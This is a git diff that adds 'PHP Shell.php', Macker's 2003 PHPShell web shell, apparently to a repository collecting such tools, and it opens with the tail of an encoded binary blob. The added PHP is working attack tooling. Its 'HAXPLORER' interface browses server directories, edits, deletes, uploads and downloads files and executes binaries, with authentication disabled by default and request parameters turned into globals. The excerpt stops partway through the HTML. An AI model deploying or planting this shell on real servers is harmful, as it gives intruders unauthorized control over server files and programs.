zYs1Ry$c9{U!tR4GKc<>uZ#zA_zqll?LzK~nu+1%t_7Iu}{t|7A*&7#!yNo@qz@A@s zX4WaNri!5+PE32*J{i9AjpkPn(8~LTQsPL>>K1Kn_iUbaW*TqM^w?Kv9ID#mM@FXt z%{ea<eT@aZh1{xmT_FrpFbOXbx`<8Z=guVsq_GWfVg8xNRRWKZwyKrba^2A(eJ0N! zpSZqg_jB~F*O9M$!Kf6US@rb~^)DVJOcOS(Lej*vHs7^H!{tf}H*4xITxyjDJ`Kij z{6rlpV2|$KMlqOqyg!Z=A+tOfXKyJEAbfwf%^~p~u(<>D850I=G^VWn2y%`}Ncq?p zjggXMKo*e5VW_d|#T^&fFdVSARzYEKVdd$81Uy@Aiy_z`s@DkR1%AlV<0&mLJl1WF zH9-(SUa%kr*k>Q9X`FW^ZM@cS!5c9Y+?>}$rI1`RYJ)}GSQdch4JnF=^!B#SMTgS> z;mM;*{$kH$r-cX9hBDV>VjMzt9K3w<Wo!p!^UIL8_D`y>ceRwZ>aaHWVjX-YWJFQ8 z_QC*9NGH1wh$$>(onY%Q=lvRjBGqJ@XM}ZGs-FB&%dj@6HIgP0!boR_;JYAbJy(Cd zmi3j?4iT&=sog&3s`vJ@TFyB(Y&g&E@M-zNYs3eZ-!`sQ(xGB<*+1u@CYPiij}eF{ z)`q%(E$lDZL~ZgsnhApkTx?fT^VbA1H*%-kS+AcyShd&Rd7906DzXYafJQlW{s4%M z+>Ah1c@1Z<jHfJk672X}T3Z&pL=;rPxOF(@p56*`6xsqKE*j*P7LojF$7JBsS`L~B zBo)3Rs0MK@4+K`p(Ux$3CWl=~cN3yJpD9RNYPfDHw*EMNrL{7*P#2@$D>jj-`9;Up z1bw8NJRtyCc#~fdj;l%DQ)PLfuO)l7GzhY94Yv($YD!EtVq`*2D<&{txpy#p^IXcB z?~wUaccX3sII)y%ZGrr6YW}G0e^c|zA!bLZ4-ISE6CSBAUh9*~QRR3hB){J-6+o!? zWKfFJ-K*tU`!exff5gYdjPh03V9lB2Tve{O09H0vMN#B*Iu?^qD}7GVz?EU?aXvsJ zp*{;axFp}NaB7wd2}#i?lMpe#aLy6MJ+BRG5V9wE);3qtMs;?zLR~FzrlZL+_;pf_ zur(<F<+*@=0N3s?DN?wcar}Psk1WpnhxU=x?2^U2ji~FSwMeKXPTWhyjI_~V!6Da< z11_lWM(_Wamj2&8I{wec#g3kQzE%~_ZUa_Um>JS_dA8}o`Ps($7ytlaU^=&s*>#iG zPeH`3(#gL12SApIh0glsLHErbdAZkG{OKP+nDSG3#ue7=n=?6trmwFM`EBqxd{*)P z#bL%Ree)l{<|i+!f+u9B@kjh+gebQd@G~3Xf?78T_i5UNzqI`WxSgh6*#85NSav{= z-(X&kmfn0!h*_LtgfmX2En<AnSGyg~FZ2Im760G@HRJV<ODIVvjg}jy)YhR7&m+Ly zPmsOP)sVN%O4hc|B*l{i(ox{Nlc4(Xo<Ird@1OtH9-zj0buq5D-xFU|JU)wfWJ0(W zD0X{YaqjEiKBvA#01}WQ{s7Q20{#H@^e5WS(BGWp!13N-A(RR2d0uM-UhCQfN-y3# z(t48r0c3f7_yg!b{EM!LTd7CEKY+LJIK&tj!uQzUT3LbwVHX{A3xWGTvHk%7auBA~ zZ`NO(tv+GgtHY6G;DlB00SM28zZdh@&Wuc7$>aAPW!0XQ2ib`&?a<?QMX{`t4g#h7 zv+rHX%d4Hr$iz%_g>7HM(ic|NhWS*>x9zr@!qI3_D?#^4d<Kj2=2#BT%lf}xnV*oI zm(k;OlV{`M#S$8N!$>G!ycADO&Wrc?;^1I|^Zg2%7pQH$ieg@B8kGZx`~ff$?mW~c zhLcq_$@9#JVjx7TwpyC(A6e*Va>8GcjP1OrIcXucHEWh*6%)r`jj?EZ9>@ZVV--D7 zY7kZd{5}o-W=`g%*S@8iJo~Q7_sWtA?-yNTJsy{aieP9ENpZY$n6tO!IKnAwAEAuT zv8bN}7u^cV`sYLwE@NT<KSm3E{K3u4))L)twVS+84i4{Eh{nQR80#HIor`3Vd5vPC zfwY8aMoJ0oV<qFnT)Km7Ywj;t@?DQ#%L$Y8xHrD5dFmw(Bzb5JP|SqkW)F8t_g1{A zygDZv+=>-ZqhEbm<urX<+a=i_|4`sX?QdgndHl$mrz2%;){J^o_~Yii<Xd!Oih67) zqUnL~1hYIikSp4B<e`+bU6*tKk|zvm1SjFzzPkyRb~7s~WH>9^N{0Glwb+Y=En#9_ z44}mDRNk$!b=U|S%~nzZ%4Y8;ABVuY_?8Q1{<Yt$qaj!pp$WW!3d01ZIyqcj#rXZ( zeW;+Rp!{17IWI9s8_r=o(jXCgUjhm$fnAz2^+K@{IrXZR2KZR~fW*Xt4z!oSzIb!k zsZT;^`-jlxRcY_99q`qF32=!#$ksMg85T>JGQva-@Hi(S-SSotS!2w;qHCFW6tpPc zzqdGRiyd~3=1w@Oir}<evV*0@BNrB5SKfZmIL&Q1n@K^}ULn`$(kQJE93mln|1s59 z0RY0BX@ljg=&$rUnE_w22~_7w>zp&YF24kLEcK6nE9AraFfp-1&YV5ZKJ+GGw}nCW zJ2TZJZIQ8Pg7YWmK52P+*zeWHADM$}kFO|G1@-5W-TJu=La5@}K31#@u@I5aq0;$v z_P)2UT6-u7%7%ALxHf1QaL?xk7#PVc0rXx_7++C>ck(NL*6Fg4Yi4SLPqGBjjgoid z^XMbN8GJe11`-tE-*!qh_XOh?(q^(RI%d^*ITKawOM17nD?7&~Nae8GzF&4cm#RPG z3$ovoo#=7in-Hx}Ce$PjFsA1^5L2g%I$(LK_yOW{vxec`y2)Rx3SIJThyL!DR`TjE zGwNJBoU0u!q5ZPaCnpC@zu(YZ^ajL2;$M675D3--IuC72b6V?&E<r;r6rG|yOJ23# zsb?}IdC7LW;S}{Pwf-%Fxv>qVio8crkEH~aB#TSPcW%>yHD}-PS`w(JCgVUi0k4Tt z8K43lI}3rb0AJoopK<>7B8@@2e5k+($~l26nL6X{TePL6bUR-tD7kM6#4q|jpFam$ zJ>PZKL_TlhKDr2o@UYdpaD0`<R?N)h6OiLXc`q2dfasV+a$qo|mxhp{{NNxqM_BA9 zhibWsXkbR}i5Qq9GbM32P9o!Q`xY(yI@twL7(`9kzhBgS=JvViGf`-@#m|LYTgu34 zXwuS4V9|<5m6*fltTTB2Oa(<XP}Y_`PtLh5evc_!VniyM=}RO4BNVF@%6C)&Ikdyk z73_>C6bt;tH!k)PRm2=k12Yb%#)^v~4kaCjg3L6{Xst|5kz@S*q)y`FG<!aZy8dT2 zZ>}vf(mrSj-d;l2g^<Q#2nok_3&L?}=x81OHt#EdM{tB>3#p$WccNA<g_O@UZiBX8 z!AesgW;la0s$Vhk-Z=}3;6R4mktQ_hg_+qOBVJ$5k=Ar^ucKW8`0PhMnY=P3l{DaO zpu$G#XD!!oHIl(&e58X@;}4MfG|QH4pywhd%t40%FNAj|D#p#q<Th|>hapCGCa)rD z=yaP%0>sUjXkTZP^UNXV^MGqSEWGHaTc29XViS}~EAJc>hT638E?=O@zG2xiY9!rc z_=c+DzZ15e!Vc7zTQ6e<qoLSX5o7iMFaQ#ypmYhuu+-RiSG5H#{IL6;<Q-#tz!2KW zj4GmYKg6(e+V@i$hlI3D?N<RAiipNVK2cSdVYJ$tmS_R20Frf2<uOIoeu@r94_Vl? zH&Kq#gFzEfpD9<wGW5OsXcDP@is-lVP>0Xc!3(7IgKP7SzgrTz7wlQb*|>ARna3?j z_Yf@<HDF?<3yoo!bHuF82Ia|9%bHJ5@C+M%$A56%#29noqzku9Z6ldVqiJLyZU)<G zW(VI}8MCsUl0<Vi(;@qEL9a`$SE!N^rj_ze(S)_W&tLU4w^=CR`n%xUT?*KP@6^0K z-&g!|LSQzY>uQK)i1h}J*UEGk5+8FE6&C7HX$0}8SgrhB_6Jb;)(Oe2ZF3X@23at^ zIR69Cxv?H^<JGunBNK!;dF;ya6UE9wLW<M~nIqVEkZZ37htdlc5|s9&lV$vJF9gh+ zlrMMPToH-NtDPu8TWXh3Yuj&jpWQ2-nHo5zaZ4$;^wcML4`e`NW4j9nw(VJZ$f$A? z;)@vPpQqJb-AK-;@d!nN`<64GVWt<*IPYr`HF;cD`hC1;Ns-ePa052DS!8o)(B|L) zt-=YS2`X>)6^qo=FA#GEaOvK$gtbNKB-3AxdFINLQx*sP*dOu%`iaqK0OJRTPsS0Q z8y+G;?))Z9Esa)2X`EJXJ2Bjcj0TQ7`%zsaEDtTn>Lyp0bhY<aOnPvoDqn7~KERwA zN6<?Pc2KxTRYW)97p11@i15Kc>zSKAJIn-o`RzU<V-|X+rCm1dNRi_KWIk4%zqq@X ztd>pEQ3j@NUZ@tYv=`s)Dza7f<1UW9^*jnNAc%gc#3Q^LNMCn$uXn8Ya_`tUrWXP% z!!%U7c+MJlZ7=RLxP+sJEj%;B_B*9jftRo~Y%GN=09W4mEFnfrAFqB*sAG(G5W%Ky zI(vG&pKr!6OGsx{yBb*WXyRD@nYlP5F!}gF+<7SdK=csN)R{GKBe|Z{!%dd`-bPRx z1{6f5lViIJns${W+KikB;v}F@N%n2``K|X(#vcrKi|DS$GDa7fk>E6h;yb5u3NxZ2 zgQ#LH76^~?a~a~w9us>vvefAl<yi)D!*WQvkq7t0Tr2CzS|h$A*w!L)%7yPxl#+mk zxCVe8%7RogQWf6N@F_=l3!<Hjb($5-=4dTe<N8JlK1ocw^tLd7_5(EO64c@Yd()YE z9!fD0!j8T{?o@pi5W&8A*JjM~j*QJy)!ME>+TH~h6<N%+jHI?qnw4BFc&v}SS=5i` zbqiGLA-04#vX6v&N#W~~kJLAgJOlQV($QR4#y-`z4@W@{yO-EA=!!!U2wmnk<tI<1 ztP}^cEQS=KBCEA0T3w+I7`_~kJI5cij!S22Ac~)piE<fsig<VgymtO~{tag+T-p=# zldYY2?WfpOAAl0Z*kB5#iNu5!KdV<1CSj5mxr~~S&ZGNmitt&fI`G(UcEpSMzvb{M z$khLs*30~JN?*^EiRtyvPcijBW%P5|-rRox|1qscpl1F<d4WJ30Q&#2#6VOB|4?3( zA=D9nuZ8;dU%4-c(rg{&%<Bm~nHr9f^#`zl7_j*M3PF6hVlnr+<@kYcnk@GX2JHU* qYkzOZ-*?F0&%)oq;qPeq|K)puDLeSTMi~74`QQ8VPxru|`Tqr?X)<&G literal 0 HcmV?d00001 diff --git a/php/PHPshell/PHP Shell/PHP Shell.php b/php/PHPshell/PHP Shell/PHP Shell.php new file mode 100644 index 0000000..0b1f12b --- /dev/null +++ b/php/PHPshell/PHP Shell/PHP Shell.php @@ -0,0 +1,1010 @@ +<?php + +/* +***************************************************************************************** +* PHPSHELL.PHP BY MACKER August 28th 2003 * +***************************************************************************************** +* * +* Welcome to Macker's PHPShell script... * +* This script will allow you to browse webservers etc... * +* Just copy the file to your directory and open it in your Internet Browser. * +* * +* The webserver should support PHP... * +* * +* You can modify the script if you want, but please send me a copy to: * +* DRAZZ01@HOTMAIL.COM * +***************************************************************************************** + +!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! +!! PLEASE NOTE: You should use this script at own risk, it should do damage to the !! +!! Sites or even the server... You are responsible for your own deeds. !! +!! The admin of your webserver should always know you are using this !! +!! script. !! +!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! +*/ + + +/*Setting some envirionment variables...*/ + +/* I added this to ensure the script will run correctly... + Please enter the Script's filename in this variable. */ +$SFileName=$PHP_SELF; + +/* uncomment the two following variables if you want to use http + authentication. This will password protect your PHPShell */ +//$http_auth_user = "phpshell"; /* HTTP Authorisation username, uncomment if you want to use this */ +//$http_auth_pass = "phpshell"; /* HTTP Authorisation password, uncomment if you want to use this */ + +error_reporting(0); +$PHPVer=phpversion(); +$isGoodver=(intval($PHPVer[0])>=4); +$scriptTitle = "PHPShell"; +$scriptident = "$scriptTitle by Macker"; + +$urlAdd = ""; +$formAdd = ""; + +function walkArray($array){ + while (list($key, $data) = each($array)) + if (is_array($data)) { walkArray($data); } + else { global $$key; $$key = $data; global $urlAdd; $urlAdd .= "$key=".urlencode($data)."&";} +} + +if (isset($_PUT)) walkArray($_PUT); +if (isset($_GET)) walkArray($_GET); +if (isset($_POST)) walkArray($_POST); + + +$pos = strpos($urlAdd, "s=r"); +if (strval($pos) != "") { +$urlAdd= substr($urlAdd, 0, $pos); +} + +$urlAdd .= "&s=r&"; + +if (empty($Pmax)) + $Pmax = 125; /* Identifies the max amount of Directories and files listed on one page */ +if (empty($Pidx)) + $Pidx = 0; + +$dir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $dir ))); +$file = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $file ))); + +$scriptdate = "August 28th 2003"; +$scriptver = "Version 2.6.6dev"; +$LOCAL_IMAGE_DIR = "img"; +$REMOTE_IMAGE_URL = "img"; +$img = array( + "Edit" => "edit.gif", + "Download" => "download.gif", + "Upload" => "upload.gif", + "Delete" => "delete.gif", + "View" => "view.gif", + "Rename" => "rename.gif", + "Move" => "move.gif", + "Copy" => "copy.gif", + "Execute" => "exec.gif" + ); + +while (list($id, $im)=each($img)) + if (file_exists("$LOCAL_IMAGE_DIR/$im")) + $img[$id] = "<img height=\"16\" width=\"16\" border=\"0\" src=\"$REMOTE_IMAGE_URL/$im\" alt=\"$id\">"; + else + $img[$id] = "[$id]"; + + + + +/* HTTP AUTHENTICATION */ + + if ( ( (isset($http_auth_user) ) && (isset($http_auth_pass)) ) && ( !isset($PHP_AUTH_USER) || $PHP_AUTH_USER != $http_auth_user || $PHP_AUTH_PW != $http_auth_pass) || (($logoff==1) && $noauth=="yes") ) { + setcookie("noauth",""); + Header( "WWW-authenticate: Basic realm=\"$scriptTitle $scriptver\""); + Header( "HTTP/1.0 401 Unauthorized"); + echo "Your username or password is incorrect"; + exit ; + + } + +function buildUrl($display, $url) { + global $urlAdd; + $url = $SFileName . "?$urlAdd$url"; + return "<a href=\"$url\">$display</a>"; +} + +function sp($mp) { + for ( $i = 0; $i < $mp; $i++ ) + $ret .= "&nbsp;"; + return $ret; +} + +function spacetonbsp($instr) { return str_replace(" ", "&nbsp;", $instr); } + +function Mydeldir($Fdir) { + if (is_dir($Fdir)) { + $Fh=@opendir($Fdir); + while ($Fbuf = readdir($Fh)) + if (($Fbuf != ".") && ($Fbuf != "..")) + Mydeldir("$Fdir/$Fbuf"); + @closedir($Fh); + return rmdir($Fdir); + } else { + return unlink($Fdir); + } +} + + +function arrval ($array) { +list($key, $data) = $array; +return $data; +} + +function formatsize($insize) { + $size = $insize; + $add = "B"; + if ($size > 1024) { + $size = intval(intval($size) / 1.024)/1000; + $add = "KB"; + } + if ($size > 1024) { + $size = intval(intval($size) / 1.024)/1000; + $add = "MB"; + } + if ($size > 1024) { + $size = intval(intval($size) / 1.024)/1000; + $add = "GB"; + } + if ($size > 1024) { + $size = intval(intval($size) / 1.024)/1000; + $add = "TB"; + } + return "$size $add"; +} + +if ($cmd != "downl") { + ?> + +<!-- <?php echo $scriptident ?>, <?php echo $scriptver ?>, <?php echo $scriptdate ?> --> +<HTML> + <HEAD> + <STYLE> + <!-- + A{ text-decoration:none; color:navy; font-size: 12px } + body { font-size: 12px; + font-family: arial, helvetica; + scrollbar-width: 5; + scrollbar-height: 5; + scrollbar-face-color: white; + scrollbar-shadow-color: silver; + scrollbar-highlight-color: white; + scrollbar-3dlight-color:silver; + scrollbar-darkshadow-color: silver; + scrollbar-track-color: white; + scrollbar-arrow-color: black; + } + Table { font-size: 12px; } + TR{ font-size: 12px; } + TD{ font-size: 12px; + font-family: arial, helvetical; + BORDER-LEFT: black 0px solid; + BORDER-RIGHT: black 0px solid; + BORDER-TOP: black 0px solid; + BORDER-BOTTOM: black 0px solid; + COLOR: black; + } + .border{ BORDER-LEFT: black 1px solid; + BORDER-RIGHT: black 1px solid; + BORDER-TOP: black 1px solid; + BORDER-BOTTOM: black 1px solid; + } + .none { BORDER-LEFT: black 0px solid; + BORDER-RIGHT: black 0px solid; + BORDER-TOP: black 0px solid; + BORDER-BOTTOM: black 0px solid; + } + .inputtext { + background-color: #EFEFEF; + font-family: arial, helvetica; + border: 1px solid #000000; + height: 20; + } + .lighttd { background: #F8F8F8; + } + .darktd { background: #E8E8E8; + } + input { font-family: arial, helvetica; + } + .inputbutton { + background-color: silver; + border: 1px solid #000000; + border-width: 1px; + height: 20; + } + .inputtextarea { + background-color: #EFEFEF; + border: 1px solid #000000; + scrollbar-width: 5; + scrollbar-height: 5; + scrollbar-face-color: #EFEFEF; + scrollbar-shadow-color: silver; + scrollbar-highlight-color: #EFEFEF; + scrollbar-3dlight-color:silver; + scrollbar-darkshadow-color: silver; + scrollbar-track-color: #EFEFEF; + scrollbar-arrow-color: black; + } + .top { BORDER-TOP: black 1px solid; } + .textin { BORDER-LEFT: silver 1px solid; + BORDER-RIGHT: silver 1px solid; + BORDER-TOP: silver 1px solid; + BORDER-BOTTOM: silver 1px solid; + width: 99%; font-size: 12px; font-weight: bold; color: navy; + } + .notop { BORDER-TOP: black 0px solid; } + .bottom { BORDER-BOTTOM: black 1px solid; } + .nobottom { BORDER-BOTTOM: black 0px solid; } + .left { BORDER-LEFT: black 1px solid; } + .noleft { BORDER-LEFT: black 0px solid; } + .right { BORDER-RIGHT: black 1px solid; } + .noright { BORDER-RIGHT: black 0px solid; } + .silver{ BACKGROUND: silver; } + --> + </STYLE> + <TITLE><?php echo $SFileName ?></TITLE> + </HEAD> + <body topmargin="0" leftmargin="0"> + <div style="position: absolute; background: white; z-order:10000; top:0; left:0; width: 100%; height: 100%;"> + <table width=100% height="100%" NOWRAP border="0"> + <tr NOWRAP> + <td width="100%" NOWRAP> + <table NOWRAP width=100% border="0" cellpadding="0" cellspacing="0"> + <tr> + <td width="100%" class="silver border"> + <center> + <strong> + <font size=3><?php echo $scriptident ?> - <?php echo $scriptver ?> - <?php echo $scriptdate ?></font> + </strong> + </center> + </td> + </tr> + </table><br> + + <?php +} + +if ( $cmd=="dir" ) { + $h=@opendir($dir); + if ($h == false) { + echo "<br><font color=\"red\">".sp(3)."\n\n\n\n + COULD NOT OPEN THIS DIRECTORY!!!<br>".sp(3)."\n + THE SCRIPT WILL RESULT IN AN ERROR!!! + <br><br>".sp(3)."\n + PLEASE MAKE SURE YOU'VE GOT READ PERMISSIONS TO THE DIR... + <br><br></font>\n\n\n\n"; + } + if (function_exists('realpath')) { + $partdir = realpath($dir); + } + else { + $partdir = $dir; + } + if (strlen($partdir) >= 100) { + $partdir = substr($partdir, -100); + $pos = strpos($partdir, "/"); + if (strval($pos) != "") { + $partdir = "<-- ...".substr($partdir, $pos); + } + $partdir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $partdir ))); + $dir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $dir ))); + $file = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $file ))); + } + ?> + <form name="urlform" action="<?php echo "$SFileName?$urlAdd"; ?>" method="POST"><input type="hidden" name="cmd" value="dir"> + <table NOWRAP width="100%" border="0" cellpadding="0" cellspacing="0"> + <tr> + <td width="100%" class="silver border"> + <center>&nbsp;HAXPLORER - Server Files Browser...&nbsp;</center> + </td> + </tr> + </table> + <br> + <table width="100%" border="0" cellpadding="0" cellspacing="0"> + <tr> + <td class="border nobottom noright"> + &nbsp;Browsing:&nbsp; + </td> + <td width="100%" class="border nobottom noleft"> + <table width="100%" border="0" cellpadding="1" cellspacing="0"> + <tr> + <td NOWRAP width="99%" align="center"><input type="text" name="dir" class="none textin" value="<?php echo $partdir ?>"></td> + <td NOWRAP><center>&nbsp;<a href="javascript: urlform.submit();"><b>GO<b></a>&nbsp;<center></td> + </tr> + </table> + + </td> + </tr> + </table> + <!-- </form> --> + <table NOWRAP width="100%" border="0" cellpadding="0" cellspacing="0" > + <tr> + <td width="100%" NOWRAP class="silver border"> + &nbsp;Filename&nbsp; + </td> + <td NOWRAP class="silver border noleft"> + &nbsp;Actions&nbsp;(Attempt to perform)&nbsp; + </td> + <td NOWRAP class="silver border noleft"> + &nbsp;Size&nbsp; + </td> + <td width=1 NOWRAP class="silver border noleft"> + &nbsp;Attributes&nbsp; + </td> + <td NOWRAP class="silver border noleft"> + &nbsp;Modification Date&nbsp; + </td> + <tr> + <?php + + + /* <!-- This whole heap of junk is the sorting section... */ + + $dirn = array(); + $filen = array(); + $filesizes = 0; + while ($buf = readdir($h)) { + if (is_dir("$dir/$buf")) + $dirn[] = $buf; + else + $filen[] = $buf; + } + $dirno = count($dirn) + 1; + $fileno = count($filen) + 1; + + function mycmp($a, $b){ + if ($a == $b) return 0; + return (strtolower($a) < strtolower($b)) ? -1 : 1; + } + + if (function_exists("usort")) { + usort($dirn, "mycmp"); + usort($filen, "mycmp"); + } + else { + sort ($dirn); + sort ($filen); + } + reset ($dirn); + reset ($filen); + if (function_exists('array_merge')) { + $filelist = array_merge ($dirn, $filen); + } + else { + $filelist = $dirn + $filen; + } + + + if ( count($filelist)-1 > $Pmax ) { + $from = $Pidx * $Pmax; + $to = ($Pidx + 1) * $Pmax-1; + if ($to - count($filelist) - 1 + ($Pmax / 2) > 0 ) + $to = count($filelist) - 1; + if ($to > count($filelist)-1) + $to = count($filelist)-1; + $Dcontents = array(); + For ($Fi = $from; $Fi <= $to; $Fi++) { + $Dcontents[] = $filelist[$Fi]; + } + + } + else { + $Dcontents = $filelist; + } + + $tdcolors = array("lighttd", "darktd"); + + while (list ($key, $file) = each ($Dcontents)) { + if (!$tdcolor=arrval(each($tdcolors))) { + reset($tdcolors); + $tdcolor = arrval(each($tdcolors)); } + + if (is_dir("$dir/$file")) { /* <!-- If it's a Directory --> */ + /* <!-- Dirname --> */ + echo "<tr><td NOWRAP class=\"top left right $tdcolor\">".sp(3).buildUrl( "[$file]", "cmd=dir&dir=$dir/$file") .sp(9)."</td>\n"; + /* <!-- Actions --> */ + echo "<td NOWRAP class=\"top right $tdcolor\"><center>".sp(2)."\n"; + /* <!-- Rename --> */ + if ( ($file != ".") && ($file != "..") ) + echo buildUrl($img["Rename"], "cmd=ren&lastcmd=dir&lastdir=$dir&oldfile=$dir/$file").sp(3)."\n"; + /* <!-- Delete --> */ + if ( ($file != ".") && ($file != "..") ) + echo sp(3).buildUrl( $img["Delete"], "cmd=deldir&file=$dir/$file&lastcmd=dir&lastdir=$dir")."\n"; + /* <!-- End of Actions --> */ + echo "&nbsp;&nbsp;</center></td>\n"; + /* <!-- Size --> */ + echo "<td NOWRAP class=\"top right $tdcolor\">&nbsp;</td>\n"; + /* <!-- Attributes --> */ + echo "<td NOWRAP class=\"top right $tdcolor\">&nbsp;&nbsp;\n"; + echo "<strong>D</strong>"; + if ( @is_readable("$dir/$file") ) { + echo "<strong>R</strong>"; + } + if (function_exists('is_writeable')) { + if ( @is_writeable("$dir/$file") ) { + echo "<strong>W</stong>"; + } + } + else { + echo "<strong>(W)</stong>"; + } + if ( @is_executable("$dir/$file") ) { + echo "<Strong>X<strong>"; + } + echo "&nbsp;&nbsp;</td>\n"; + /* <!-- Date --> */ + echo "<td NOWRAP class=\"top right $tdcolor\" NOWRAP>\n"; + echo "&nbsp;&nbsp;".date("D d-m-Y H:i:s", filemtime("$dir/$file"))."&nbsp;&nbsp;"; + echo "</td>"; + echo "</tr>\n"; + + } + else { /* <!-- Then it must be a File... --> */ + /* <!-- Filename --> */ + if ( @is_readable("$dir/$file") ) + echo "<tr><td NOWRAP class=\"top left right $tdcolor\">".sp(3).buildUrl( $file, "cmd=file&file=$dir/$file").sp(9)."</td>\n"; + else + echo "<tr><td NOWRAP class=\"top left right $tdcolor\">".sp(3).$file.sp(9)."</td>\n"; + /* <!-- Actions --> */ + echo "<td NOWRAP class=\"top right $tdcolor\"><center>&nbsp;&nbsp;\n"; + /* <!-- Rename --> */ + echo buildUrl($img["Rename"], "cmd=ren&lastcmd=dir&lastdir=$dir&oldfile=$dir/$file").sp(3)."\n"; + /* <!-- Edit --> */ + if ( (@is_writeable("$dir/$file")) && (@is_readable("$dir/$file")) ) + echo buildUrl( $img["Edit"], "cmd=edit&file=$dir/$file").sp(3)."\n"; + /* <!-- Copy --> */ + echo buildUrl( $img["Copy"], "cmd=copy&file=$dir/$file")."\n"; + /* <!-- Move --> */ + if ( (@is_writeable("$dir/$file")) && (@is_readable("$dir/$file")) ) + echo sp(3). buildUrl( $img["Move"], "cmd=move&file=$dir/$file")."\n"; + /* <!-- Delete --> */ + echo sp(3). buildUrl( $img["Delete"], "cmd=delfile&file=$dir/$file&lastcmd=dir&lastdir=$dir")."\n"; + /* <!-- Download --> */ + echo sp(3). buildUrl( $img["Download"], "cmd=downl&file=$dir/$file")."\n"; + /* <!-- Execute --> */ + if ( @is_executable("$dir/$file") ) + echo sp(3).buildUrl( $img["Execute"], "cmd=execute&file=$dir/$file")."\n"; + /* <!-- End of Actions --> */ + echo sp(2)."</center></td>\n"; + /* <!-- Size --> */ + echo "<td NOWRAP align=\"right\" class=\"top right $tdcolor\" NOWRAP >\n"; + $size = @filesize("$dir/$file"); + If ($size != false) { + $filesizes += $size; + echo "&nbsp;&nbsp;<strong>".formatsize($size)."<strong>"; + } + else + echo "&nbsp;&nbsp;<strong>0 B<strong>"; + echo "&nbsp;&nbsp;</td>\n"; + + /* <!-- Attributes --> */ + echo "<td NOWRAP class=\"top right $tdcolor\">&nbsp;&nbsp;\n"; + + if ( @is_readable("$dir/$file") ) + echo "<strong>R</strong>"; + if ( @is_writeable("$dir/$file") ) + echo "<strong>W</stong>"; + if ( @is_executable("$dir/$file") ) + echo "<Strong>X<strong>"; + if (function_exists('is_uploaded_file')){ + if ( @is_uploaded_file("$dir/$file") ) + echo "<Strong>U<strong>"; + } + else { + echo "<Strong>(U)<strong>"; + } + echo "&nbsp;&nbsp;</td>\n"; + /* <!-- Date --> */ + echo "<td NOWRAP class=\"top right $tdcolor\" NOWRAP>\n"; + echo "&nbsp;&nbsp;".date("D d-m-Y H:i:s", filemtime("$dir/$file"))."&nbsp;&nbsp;"; + echo "</td>"; + echo "</tr>\n"; + } + } + + echo "</table><table width=100% border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr>\n<td NOWRAP width=100% class=\"silver border noright\">\n"; + echo "&nbsp;&nbsp;".@count ($dirn)."&nbsp;Dir(s),&nbsp;".@count ($filen)."&nbsp;File(s)&nbsp;&nbsp;\n"; + echo "</td><td NOWRAP class=\"silver border noleft\">\n"; + echo "&nbsp;&nbsp;Total filesize:&nbsp;".formatsize($filesizes)."&nbsp;&nbsp;<td></tr>\n"; + + function printpagelink($a, $b, $link = ""){ + if ($link != "") + echo "<A HREF=\"$link\"><b>| $a - $b |</b></A>"; + else + echo "<b>| $a - $b |</b>"; + } + + if ( count($filelist)-1 > $Pmax ) { + echo "<tr><td colspan=\"2\" class=\"silver border notop\"><table width=\"100%\" cellspacing=\"0\" cellpadding=\"3\"><tr><td valign=\"top\"><font color=\"red\"><b>Page:</b></font></td><td width=\"100%\"><center>"; + $Fi = 0; + while ( ( (($Fi+1)*$Pmax) + ($Pmax/2) ) < count($filelist)-1 ) { + $from = $Fi*$Pmax; + while (($filelist[$from]==".") || ($filelist[$from]=="..")) $from++; + $to = ($Fi + 1) * $Pmax - 1; + if ($Fi == $Pidx) + $link=""; + else + $link="$SFilename?$urlAdd"."cmd=$cmd&dir=$dir&Pidx=$Fi"; + printpagelink (substr(strtolower($filelist[$from]), 0, 5), substr(strtolower($filelist[$to]), 0, 5), $link); + echo "&nbsp;&nbsp;&nbsp;"; + $Fi++; + } + $from = $Fi*$Pmax; + while (($filelist[$from]==".") || ($filelist[$from]=="..")) $from++; + $to = count($filelist)-1; + if ($Fi == $Pidx) + $link=""; + else + $link="$SFilename?$urlAdd"."cmd=$cmd&dir=$dir&Pidx=$Fi"; + printpagelink (substr(strtolower($filelist[$from]), 0, 5), substr(strtolower($filelist[$to]), 0, 5), $link); + + + echo "</center></td></tr></table></td></tr>"; + } + + + echo "</table>\n<br><table NOWRAP>"; + + if ($isGoodver) { + echo "<tr><td class=\"silver border\">&nbsp;<strong>Server's PHP Version:&nbsp;&nbsp;</strong>&nbsp;</td><td>&nbsp;$PHPVer&nbsp;</td></tr>\n"; + } + else { + echo "<tr><td class=\"silver border\">&nbsp;<strong>Server's PHP Version:&nbsp;&nbsp;</strong>&nbsp;</td><td>&nbsp;$PHPVer (Some functions might be unavailable...)&nbsp;</td></tr>\n"; + } + /* <!-- Other Actions --> */ + echo "<tr><td class=\"silver border\">&nbsp;<strong>Other actions:&nbsp;&nbsp;</strong>&nbsp;</td>\n"; + echo "<td>&nbsp;<b>".buildUrl( "| New File |", "cmd=newfile&lastcmd=dir&lastdir=$dir")."\n".sp(3). + buildUrl( "| New Directory |", "cmd=newdir&lastcmd=dir&lastdir=$dir")."\n".sp(3). + buildUrl( "| Upload a File |", "cmd=upload&dir=$dir&lastcmd=dir&lastdir=$dir"). "</b>\n</td></tr>\n"; + echo "<tr><td class=\"silver border\">&nbsp;<strong>Script Location:&nbsp;&nbsp;</strong>&nbsp;</td><td>&nbsp;$PATH_TRANSLATED</td></tr>\n"; + echo "<tr><td class=\"silver border\">&nbsp;<strong>Your IP:&nbsp;&nbsp;</strong>&nbsp;</td><td>&nbsp;$REMOTE_ADDR&nbsp;</td></tr>\n"; + echo "<tr><td class=\"silver border\">&nbsp;<strong>Browsing Directory:&nbsp;&nbsp;</strong></td><td>&nbsp;$partdir&nbsp;</td></tr>\n"; + echo "<tr><td valign=\"top\" class=\"silver 